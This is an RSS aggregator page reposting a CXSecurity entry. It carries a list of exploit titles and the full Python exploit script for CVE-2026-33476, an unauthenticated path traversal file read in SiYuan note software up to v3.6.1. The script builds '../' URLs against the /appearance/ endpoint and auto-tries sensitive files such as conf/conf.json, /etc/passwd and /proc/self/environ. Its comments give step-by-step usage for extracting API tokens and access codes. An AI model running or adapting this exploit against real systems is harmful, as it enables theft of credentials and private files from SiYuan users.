惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

J
Java Code Geeks
腾讯CDC
M
MIT News - Artificial intelligence
Y
Y Combinator Blog
L
LangChain Blog
Vercel News
Vercel News
云风的 BLOG
云风的 BLOG
GbyAI
GbyAI
Stack Overflow Blog
Stack Overflow Blog
Microsoft Azure Blog
Microsoft Azure Blog
B
Blog RSS Feed
The GitHub Blog
The GitHub Blog
酷 壳 – CoolShell
酷 壳 – CoolShell
B
Blog
P
Proofpoint News Feed
H
Hackread – Cybersecurity News, Data Breaches, AI and More
博客园_首页
Google DeepMind News
Google DeepMind News
WordPress大学
WordPress大学
aimingoo的专栏
aimingoo的专栏
小众软件
小众软件
IT之家
IT之家
A
About on SuperTechFans
H
Help Net Security

CXSECURITY Database RSS Feed - CXSecurity.com

Langflow 1.3.0 Remote Code Execution Krayin CRM v2.2.x Authenticated Remote Code Execution PraisonAI CodeAgent <= 1.6.77 Remote Code Execution (RCE) via Unsandboxed LLM Code Execution XenForo XSS CVE Scanner — Passive Detection Tool for CVE-2026-35055, CVE-2026-35054, CVE-2026-35057 KNX visualisering - Broken Access Control 7-Zip <= 26.02 - Mark-of-the-Web (MotW) Bypass via RAR5 Alternate Data Stream Name Collision NodeBB <= 4.13.2 ActivityPub attributedTo Local UID Spoof - CXSecurity.com KNX visualisering - Broken Access Control vm2 <= 3.11.3 - NodeVM Builtin Denylist Bypass SiYuan <= 3.5.9 Remote Code Execution via Malicious Bazaar Package Windows Defender (MsMpEng.exe) Race Condition -> LPE / SYSTEM / Use-After-Free -> Crash D-Link DSL2600U rom-0 Admin Password Disclosure KNX visualisering - Broken Access Control PHP Link Directory (phpLD) 2.1.3 - SQL Injection, IDOR, CSRF OpenEMR 7.0.2 Arbitrary File Read ZTE ZXHN H188A V6 Authentication Bypass phpLD 2.1.3 (EOL) has authenticated SQLi in admin/dir_validate.php (CATEGORY_ID) and admin ORDER BY (sort), unauthenticated IDOR in add_reciprocal.php, CSRF on admin link actions via GET, and exposed install/ after deployment. Verified locally on v2.1.3. Tenable Terrascan Server <= v1.18.3 SSRF and Local File Read Lenovo LegionSpace 1.7.11.2 DAService Unquoted Service Path ZTE H298A / H108N Unauthenticated Credential Exposure WordPress Contest Gallery 28.1.4 Unauthenticated Blind SQL Injection BrandIT Consultancy - Blind Sql Injection Association Management Script - Multiple Vulnerabilities (IDOR, SQLi, Stored XSS) Canvas Breach: Symbiotic Dual-Virus Model & Origin Parity Evidence Open ISES Tickets < 3.44.2 - Hardcoded MySQL Credentials ePati Antikor NGFW 2.0.1301 Authentication Bypass Windows Shell LNK Spoofing to NTLMv2 Hash Capture Apache HTTP Server 2.4.66 mod_http2 Double-Free Denial of Service Grav CMS 2.0.0-beta.2 Remote Code Execution
SiYuan <= v3.6.1 Note unauthenticated arbitrary file read...
2026-03-26 · via CXSECURITY Database RSS Feed - CXSecurity.com

#!/usr/bin/env python3 # Exploit Title: SiYuan <= v3.6.1 Note unauthenticated arbitrary file read (path traversal) # CVE: CVE-2026-33476 # Date: 2026-03-21 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Vendor Homepage: https://b3log.org/siyuan # Software Link: https://github.com/siyuan-note/siyuan # Affected: SiYuan <= v3.6.1 # Tested on: SiYuan v3.6.1 (docker / linux) # Category: Webapps # Platform: Linux / Windows / macOS # Exploit Type: Remote File Disclosure # CVSS: 7.5 # CWE: CWE-22, CWE-73 # Description: Unauthenticated path traversal in /appearance/* endpoint allows reading arbitrary files # Fixed in: v3.6.2 # Usage: # python3 exploit.py <target_url> --target-file <path> # python3 exploit.py http://127.0.0.1:6806 --auto # # Examples: # python3 exploit.py http://target:6806 --target-file conf/conf.json # python3 exploit.py http://target:6806 -f ../../../../etc/passwd --depth 10 # # Options: # --target-file Specific file path to attempt to read # --depth Traversal depth (default: 6) # --auto Try multiple common sensitive paths automatically # --timeout Request timeout in seconds (default: 12) # # Notes: # Most useful target: conf/conf.json (contains API token, access auth code, etc.) # Use --auto mode for broad testing of interesting files # # How to Use # Step 1: Run the script against a vulnerable SiYuan instance # Step 2: Use --target-file conf/conf.json to extract credentials/config # Step 3: For system file access try deeper traversal (--depth 8–12) print(r""" ╔════════════════════════════════════════════════════════════════════════════════════════════╗ ║ ║ ║ ▄▄▄▄· ▄▄▄ . ▄▄ • ▄▄▄▄▄ ▄▄▄ ▄▄▄· ▄▄▄· ▄▄▄▄▄▄▄▄▄ .▄▄▄ ▄• ▄▌ ║ ║ ▐█ ▀█▪▀▄.▀·▐█ ▀ ▪•██ ▪ ▀▄ █·▐█ ▀█ ▐█ ▄█•██ ▀▀▄.▀·▀▄ █·█▪██▌ ║ ║ ▐█▀▀█▄▐▀▀▪▄▄█ ▀█ ▐█.▪ ▄█▀▄ ▐▀▀▄ ▄█▀▀█ ██▀· ▐█.▪▐▀▀▪▄▐▀▀▄ █▌▐█· ║ ║ ██▄▪▐█▐█▄▄▌▐█▄▪▐█ ▐█▌·▐█▌.▐▌▐█•█▌▐█ ▪▐▌▐█▪·• ▐█▌·▐█▄▄▌▐█•█▌▐█▄█▌ ║ ║ ·▀▀▀▀ ▀▀▀ ·▀▀▀▀ ▀▀▀ ▀█▄▀▪.▀ ▀ ▀ ▀ .▀ ▀▀▀ ▀▀▀ .▀ ▀ ▀▀▀ ║ ║ ║ ║ b a n y a m e r _ s e c u r i t y ║ ║ ║ ║ >>> Silent Hunter • Shadow Presence <<< ║ ║ ║ ║ Operator : Mohammed Idrees Banyamer Jordan 🇯🇴 ║ ║ Handle : @banyamer_security ║ ║ ║ ║ CVE-2026-33476 • SiYuan arbitrary file read ║ ║ ║ ╚════════════════════════════════════════════════════════════════════════════════════════════╝ """) import argparse import urllib.parse import requests import sys def build_traversal_url(base_url, target_file, levels=5): traversal = "../" * levels target_file = target_file.lstrip("/.").replace("\\", "/") path = f"{traversal}{target_file}" return urllib.parse.urljoin(base_url.rstrip("/") + "/", f"appearance/{path}") def try_read_file(session, url, timeout=10): try: r = session.get(url, timeout=timeout, allow_redirects=False) if r.status_code == 200 and len(r.content) > 0: try: return r.text[:4096] except UnicodeDecodeError: return f"[Binary content - {len(r.content)} bytes]" elif r.status_code in (401, 403): return None else: return f"[Status {r.status_code}] {r.reason}" except requests.RequestException as e: return f"[Error] {str(e)}" def auto_exploit(base_url, max_levels=10): common_targets = [ "conf/conf.json", "data/conf.json", "workspace/conf.json", "data/emojis/README.md", ".siyuan/history.db", "appearance/themes/README.md", "etc/passwd", "proc/self/environ", "Windows/win.ini", "Users/Public/Desktop/test.txt", ] print("[*] Starting automatic traversal test...\n") s = requests.Session() s.headers["User-Agent"] = "Mozilla/5.0 (compatible; SiYuan-PoC/1.0)" for target in common_targets: print(f"→ Target: {target}") found = False for depth in range(3, max_levels + 1): exploit_url = build_traversal_url(base_url, target, depth) result = try_read_file(s, exploit_url) if result is None: continue if "[Error]" not in result and "Status" not in result: print(f" SUCCESS at depth {depth}:") print(f" URL: {exploit_url}") print(f" Content preview:\n{result.rstrip()}\n") found = True break if not found: print(" Not found in tested depths.\n") def main(): parser = argparse.ArgumentParser(description="CVE-2026-33476 SiYuan path traversal PoC") parser.add_argument("url", help="Base URL of SiYuan instance") parser.add_argument("--target-file", "-f", help="Specific file to read") parser.add_argument("--depth", "-d", type=int, default=6, help="Traversal depth") parser.add_argument("--auto", action="store_true", help="Try common files automatically") parser.add_argument("--timeout", type=int, default=12, help="Request timeout") args = parser.parse_args() base = args.url.rstrip("/") if not base.startswith(("http://", "https://")): print("[!] URL must start with http:// or https://") sys.exit(1) print(f"[*] Targeting SiYuan instance: {base}") print("[*] CVE-2026-33476 - Unauthenticated Arbitrary File Read PoC\n") s = requests.Session() s.headers.update({"User-Agent": "Mozilla/5.0 SiYuan-Test/1.0"}) if args.auto: auto_exploit(base, args.depth) elif args.target_file: url = build_traversal_url(base, args.target_file, args.depth) print(f"[*] Attempting to read: {args.target_file}") print(f" URL: {url}\n") content = try_read_file(s, url, args.timeout) if content: print("Result:\n" + "-"*60) print(content) if len(content) > 4000: print("\n... [truncated - full content retrieved]") else: print("[×] Failed - no content or blocked (possibly patched?)") else: parser.print_help() print("\n[!] Please provide --target-file or use --auto mode.") sys.exit(1) if __name__ == "__main__": main()